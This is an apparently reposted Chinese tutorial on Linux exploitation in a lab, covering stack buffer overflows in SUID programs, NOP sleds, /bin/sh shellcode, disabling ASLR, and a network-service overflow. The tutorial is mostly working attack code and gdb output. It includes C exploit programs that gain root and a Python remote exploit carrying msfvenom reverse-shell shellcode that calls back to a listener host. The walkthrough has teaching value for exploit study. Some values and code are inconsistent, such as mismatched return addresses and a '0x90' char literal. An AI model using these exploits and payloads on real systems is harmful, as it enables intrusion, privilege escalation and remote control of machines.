1. 程式人生 > >linux漏洞利用

linux漏洞利用

快取區溢位:

EBP基址指標暫存器,ESP棧指標基礎器.

EBP指向程序的當前棧幀的底部,ESP總是指向棧頂.棧是從記憶體高地址處向低地址反向增長.

#include <stdio.h>

greeting(char *temp1, char *temp2){
	char name[400];
	strcpy(name, temp2);
	printf("Hello %s %s\n",temp1, name);
}

main(int argc, char * argv[]){
	greeting(argv[1], argv[2]);
	printf("Bye %s %s\n", argv[1], argv[2]);

	return 0;
}

第二個引數使用Perl 注入600個A

~$ ./meet Mr `perl -e 'printf "A" x 600'`
Segmentation fault  #溢位了 

gdb 進行除錯

~$ gdb -q meet
(gdb) run Mr `perl -e 'print "A" x 600'`
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e7825b in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) info reg eip
eip            0xb7e7825b       0xb7e7825b <strlen+11>

#不能控制eip,而它已經指向了記憶體中另一個地方.
#檢視程式碼可以看出 進行多次巢狀函式呼叫,每一次都被壓入棧中.
#當溢位時,一定會有函式的傳入引數被破壞.

(gdb) b 6 #設定斷點
Breakpoint 1 at 0x80483c2: file meet.c, line 6.
(gdb) run Mr `perl -e 'print "A" x 600'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`
#引數一被覆蓋 引數被覆蓋 指向地址0x41414141
Breakpoint 1, greeting (temp1=0x41414141 <Address 0x41414141 out of bounds>, 
    temp2=0x41414141 <Address 0x41414141 out of bounds>) at meet.c:6
6               printf("Hello %s %s\n",temp1, name);
(gdb) 

寫入的資料超過了棧中壓入EIP的位置,會把將從temp1開始的函式引數覆蓋.

一點點增加值 去嘗試找出eip

(gdb) d 1 #刪除斷點  
(gdb) run Mr `perl -e 'print "A" x 401'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 401'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08048409 in main (argc=0, argv=0x0) at meet.c:11
11              printf("Bye %s %s\n", argv[1], argv[2]);
(gdb) info reg ebp eip
ebp            0xbff00041       0xbff00041
eip            0x8048409        0x8048409 <main+40>
(gdb) run Mr `perl -e 'print "A" x 404'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 404'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGILL, Illegal instruction.
0x08048400 in main (argc=Cannot access memory at address 0x41414149
) at meet.c:10
10              greeting(argv[1], argv[2]);
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x8048400        0x8048400 <main+31>
(gdb) run Mr `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 408'`
Hello  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
(gdb) run Mr `perl -e 'print "A" x 409'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 409'`
Hello  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp eip
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
#在gdb中可以看到 發生了段錯誤,eip的當前值會顯示出來.

快取區溢位的後果:

1.拒絕服務

2.EIP將可能被控制並以系統級別訪問許可權執行惡意程式碼

3.EIP被控制並在系統級或根許可權執行惡意程式碼

SUID概念:臨時提升某個程序以允某些檔案在其自身的特權級下執行.

列如passwd命令的所有者是根使用者,當普通使用者執行它時,這個程序就以根使用者身份執行.

當SUID程式存在漏洞時,漏洞攻擊程式就可以獲得該檔案所有者的特權,獲得根許可權.

本地快取區溢位漏洞攻擊:

本地漏洞攻擊要比遠端漏洞攻擊容易些,因為能夠訪問系統記憶體空間.

快取區溢位漏洞攻擊的基本概念是:讓存在漏洞的緩衝區溢位,然後出去惡意目的修改EIP,EIP指向的是下一條要執行的的命令.

在呼叫函式時,會將EIP的一個副本複製到棧上,這樣當函式呼叫完成後就可以繼續執行隨後的命令.如果能夠改變所儲存的EIP值,那麼當函式返回時,從棧上彈出到暫存器EIP將是被破壞的EIP值,而它將決定下一條要執行的指令.

NOP雪橇:

彙編程式碼中NOP代表不執行任何操作,只是移動到下一個命令.也就是空操作.在彙編程式碼中編譯器使用改操作進行優化,為程式碼塊增加墊片,實現字對齊.攻擊者使用NOP實現墊片.把NOP放在漏洞攻擊快取區前面時,被稱為NOP雪橇.若EIP指向NOP雪橇,處理器將"踏著"該雪橇滑入一下個元件.x86系統中,操作碼0x90代表NOP.還有好多表示法.0x90是最常用.

shellcode 簡單理解:經過gdb反彙編 提取的操作碼:

~$ gdb -q meet
(gdb) disass main
Dump of assembler code for function main:
0x080483e1 <main+0>:    push   %ebp
0x080483e2 <main+1>:    mov    %esp,%ebp
0x080483e4 <main+3>:    sub    $0xc,%esp
0x080483e7 <main+6>:    mov    0xc(%ebp),%eax
0x080483ea <main+9>:    add    $0x8,%eax
0x080483ed <main+12>:   mov    (%eax),%edx
0x080483ef <main+14>:   mov    0xc(%ebp),%eax
0x080483f2 <main+17>:   add    $0x4,%eax
0x080483f5 <main+20>:   mov    (%eax),%eax
0x080483f7 <main+22>:   mov    %edx,0x4(%esp)
0x080483fb <main+26>:   mov    %eax,(%esp)
0x080483fe <main+29>:   call   0x80483a4 <greeting>
0x08048403 <main+34>:   mov    0xc(%ebp),%eax
0x08048406 <main+37>:   add    $0x8,%eax
0x08048409 <main+40>:   mov    (%eax),%edx
0x0804840b <main+42>:   mov    0xc(%ebp),%eax
0x0804840e <main+45>:   add    $0x4,%eax
0x08048411 <main+48>:   mov    (%eax),%eax
0x08048413 <main+50>:   mov    %edx,0x8(%esp)
0x08048417 <main+54>:   mov    %eax,0x4(%esp)
0x0804841b <main+58>:   movl   $0x80484fd,(%esp)
0x08048422 <main+65>:   call   0x804830c <[email protected]>
0x08048427 <main+70>:   mov    $0x0,%eax
0x0804842c <main+75>:   leave  
0x0804842d <main+76>:   ret    

網上有很多shellcode庫 https://www.exploit-db.com/shellcode/

#include <stdio.h>
#include <string.h>

char shellcode[] = 
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)shellcode;
}

編譯執行提升許可權:

[email protected]:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
[email protected]:~$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o shellcode shellcode.c 
[email protected]:~$ chmod u+s shellcode
[email protected]:~$ sudo ./shellcode
[email protected]:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)

漏洞攻擊最重要的因素是返回地址的值,填充緩衝區溢位.儘可能直接指向shellcode的起始位置.不可控因素挺多,有可能指向NOP的中間某個位置,測試一下ESP的值:

#include <stdio.h>

unsigned int get_sp(void) {
	__asm__("movl %esp, %eax");
}
int main(){
	printf("Stack pointer (ESP): 0x%x\n", get_sp());
}

[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbfa57f48
[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbf8b25a8
[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbfa51f48
[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbf9bfeb8
[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbff59c48

#每次的值都不一樣,說明系統正常執行某種棧隨機化保護機制.建立軟連線繞開保護機制.
#echo "0" > /proc/sys/kernel/randomize_va_space 

#再次執行程式碼 地址不變說明成功了,如果有變化 執行軟連線.
#找到當前ESP,就能夠估算出存在漏洞緩衝區的頂部.
[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbffffde8
[email protected]:/home/msfadmin# ./stack_sp 
Stack pointer (ESP): 0xbffffde8

命令列上進行棧溢位漏洞攻擊:

[email protected]:/home/msfadmin# perl -e 'print "\x90"x200';
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[email protected]:/home/msfadmin<x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > sc                   
[email protected]:/home/msfadmin# wc -c sc #計算shellcode的大小
53 sc

ESP值為 0xbff59c48,從命令列發起攻擊時,命令列引數將在呼叫主函式之前放入棧中.

當前測試程式的引數,攻擊快取區的長度為408位元組,其中前200位元組為NOP雪橇.

為確保登入到NOP的中部.必須在當前棧地址之前300位元組處執行.

若將這300位元組加到原來的指令碼引數中,跳點將在計算出的ESP值之後的708位元組,0x2c4.

因此當前ESP減去0x300十進位制768來計算登入點.

0xbffff4f8 - 0x300 = 0xbffffae8

perl使用小端位元組序寫入這個地址:

perl -e 'print"\xe8\xfa\xff\xbf"x38';

使用取模運算:

(408 bytes - 200 bytes of NOP - 53 bytes of Shellcode) / 4 bytes of address = 38.75
[email protected]:/home/msfadmin# ./meet mr `perl -e 'print "\x90"x200';``cat sc``perl -e 'print "\xe8\xf1\xff\xbf "x38';`                            
Hello mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
                                                                                                         �
                                                                                                          ��V
                                                                                                             ̀1ۉ����/bin/sh���
Bye mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
                                                                                                       �
                                                                                                        ��V
                                                                                                           ̀1ۉ����/bin/sh���
[email protected]:/home/msfadmin# 

這個緩衝區只有405位元組,程式崩潰,可能原因在於重複地址在填充時未對齊.可以增加所用的NOP數目.

通用漏洞攻擊:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

char shellcode[] =
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) {
	int i, offset = 0;
	unsigned int esp, ret, *addr_ptr;
	char *buffer, *ptr;
	int size = 500;

	esp = get_sp();
	if(argc > 1) 
		size = atoi(argv[1]);

	if(argc > 2)
		offset = atoi(argv[2]);

	if(argc > 3)
		esp = strtoul(argv[3], NULL, 0);

	ret = esp - offset;

	fprintf(stderr, "Usage: %s<buff_size> <offset> <esp:0xfff...>\n", argv[0]);

	buffer = (char *)malloc(size);

	ptr = buffer;
	addr_ptr = (unsigned int *) ptr;

	for(i=0; i < size; i+=4)
		*(addr_ptr++) = ret;

	for(i=0; i < size/2; i++)
		buffer[i] = '0x90';

	ptr = buffer + size / 2;

	for(i = 0; i < strlen(shellcode); i++)
		*(ptr++) = shellcode[i];

	buffer[size-1] = 0;

	execl("./meet", "meet", "Mr.", buffer, 0);
	printf("%s\n", buffer);

	free(buffer);
	return 0;
}
[email protected]:~$ ls -l meet
-rwsr-xr-x 1 msfadmin msfadmin 7590 2018-09-04 06:12 meet

#新建一個使用者, 執行程式會把許可權提升

對小緩衝區漏洞攻擊:

#include <stdio.h>

int main(int argc, char * argv[]){
	char buff[10];
	strcpy(buff, argv[1]);
}

#需要建立一個使用者去驗證

#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

#define VULN "./smallbuff"
#define SIZE 160

char shellcode[] =
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv[]){
	char p[SIZE];
	char *env[] = { shellcode, NULL };
	char *vuln[] = { VULN, p, NULL };
	int *ptr, i, addr;

	addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);

	fprintf(stderr, "[***] using address: %#010x\n", addr);

	ptr = (int *)(p+2);

	for (i=0; i < SIZE; i += 4)
		*ptr++ = addr;

	execle(vuln[0], (char *)vuln, p, NULL, env);
	exit(1);
}
[email protected]:~$ chmod u+s smallbuff
[email protected]:~$ ls -l smallbuff
-rwsr-xr-x 1 msfadmin msfadmin 7192 2018-09-04 07:39 smallbuff
[email protected]:~$ ./exploit2 
[***] using address: 0xbfffffba #新建一個使用者會把許可權提升

反編譯可以看到:

[email protected]:~$ gdb exploit2 --quiet
(gdb) run
Starting program: /home/msfadmin/exploit2 
[***] using address: 0xbfffffba
Executing new program: /home/msfadmin/smallbuff

漏洞攻擊開發過程:

1.控制EIP

2.確定偏移

3.確定攻擊向量

4.構建漏洞攻擊

5.測試漏洞攻擊

6.除錯漏洞攻擊程式

測試程式:

#開啟測試程式
[email protected]:~$ ./test &
[1] 5803

[email protected]:~$ netstat -anlp | grep test
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN      5803/test       

~# nc 192.168.1.104 5555 #嘗試連線
--------Login---------
Username: Test
Invalid Login!
Please Try again


perl -e 'print "A"x8096' | nc 192.168.1.104 5555

[email protected]:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()        #看到EIP和EBP被重寫了
(gdb) i r eip esp ebp
eip            0x41414141       0x41414141
esp            0xbffffca8       0xbffffca8
ebp            0x41414141       0x41414141

快取區溢位,需要確切的知道使用多少個字元才能不多不少的覆蓋EIP.

建立一個python指令碼來連線監聽者: 

看程式是否崩了,找到覆蓋的EIP

#!/usr/bin/python
import socket

total = 1024

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = "A"*total + "\n"
s.send(exploit)
s.close
[email protected]:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()
(gdb) i r eip esp ebp
eip            0x41414141       0x41414141
esp            0xbffffca8       0xbffffca8
ebp            0x41414141       0x41414141

#python 程式成功連線到了

使用Metasploit pattern_create工具算出使緩衝區發生溢位的字元數:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

執行漏洞攻擊程式:

#!/usr/bin/python

import socket

total = 1024

sc = ""
sc += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"

s = socket.socket()

s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = sc
s.send(exploit)
s.close

gdb執行測試程式:

[email protected]:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5952]
0x41386941 in ?? () #段錯誤值

使用pattern_offset.rb 可以確切的知道偏移量在EIP被重寫之處的前264位元組

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386941 -l 1024
[*] Exact match at offset 264

知道了EIP的重寫位置,確定要執行載荷所要跳轉到的棧地址.在程式碼中加入NOP雪橇.創造更大的跳轉區域,即便位置發生少量偏移,也能跳轉到NOP雪橇所在之處.

#!/usr/bin/python

import socket

total = 1024
off = 264
sc = ""
sc += "A"
noplen = 32
jmp = "BBBB"

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90" * noplen + sc
exploit += "C"*(total - off - 4 - len(sc) - noplen)

s.send(exploit)
s.close
[email protected]:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5979]
0x42424242 in ?? () #EIP被重寫
(gdb) x/32x $esp
0xbffffca8:     0x90909090      0x90909090      0x90909090      0x90909090 #填充NOP指令
0xbffffcb8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcc8:     0x43434341      0x43434343      0x43434343      0x43434343 #shellcode丟棄區域
0xbffffcd8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffce8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffcf8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffd08:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffd18:     0x43434343      0x43434343      0x43434343      0x43434343

通過metasploit 生成shellcode:

~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -b "\x00\xff" -f python -v shellcode #-b是消除壞字元
~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 384 bytes
shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

執行python攻擊程式:

#!/usr/bin/python
import socket

total = 1024
off = 264

shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

noplen = 32
jmp = "\xc8\xf4\xff\xbf"

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90"*noplen + shellcode
exploit += "C"*(total-off-4-len(shellcode)-noplen)

s.send(exploit)
s.close

在gdb中檢視:

[email protected]:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /usr/bin/id
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program exited normally.

msf中監聽:

msf exploit(multi/handler) > set LHOST 192.168.1.104
LHOST => 192.168.1.104
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.104:33933) at 2018-09-05 02:17:56 +0800

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

成功的命中!!!

格式化字串漏洞攻擊:

printf() 將輸出結果列印到標準輸入\輸出控制代碼

fprintf()將輸出結果列印到檔案流

sprintf()將輸出結果列印到字串

snprintf() 將輸出結果列印到字串,內建長度檢查

從任意記憶體讀取:

//測試程式碼
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
	static int canary = 0;
	char temp[2048];
	strcpy(temp, argv[1]);
	printf(temp);
	printf("\n");
	printf("Canary at 0x%08x = 0x%08x\n", &canary, canary);
}

編譯執行測試:

[email protected]:~$ ./fmtstr Testing
Testing
Canary at 0x080496cc = 0x00000000
[email protected]:~$ chmod u+s fmtstr


[email protected]:~$ ./fmtstr "AAAA %08x %08x %08x %08x" #%x表示十六進位制 用於標記 偏移4 8位元組寬   
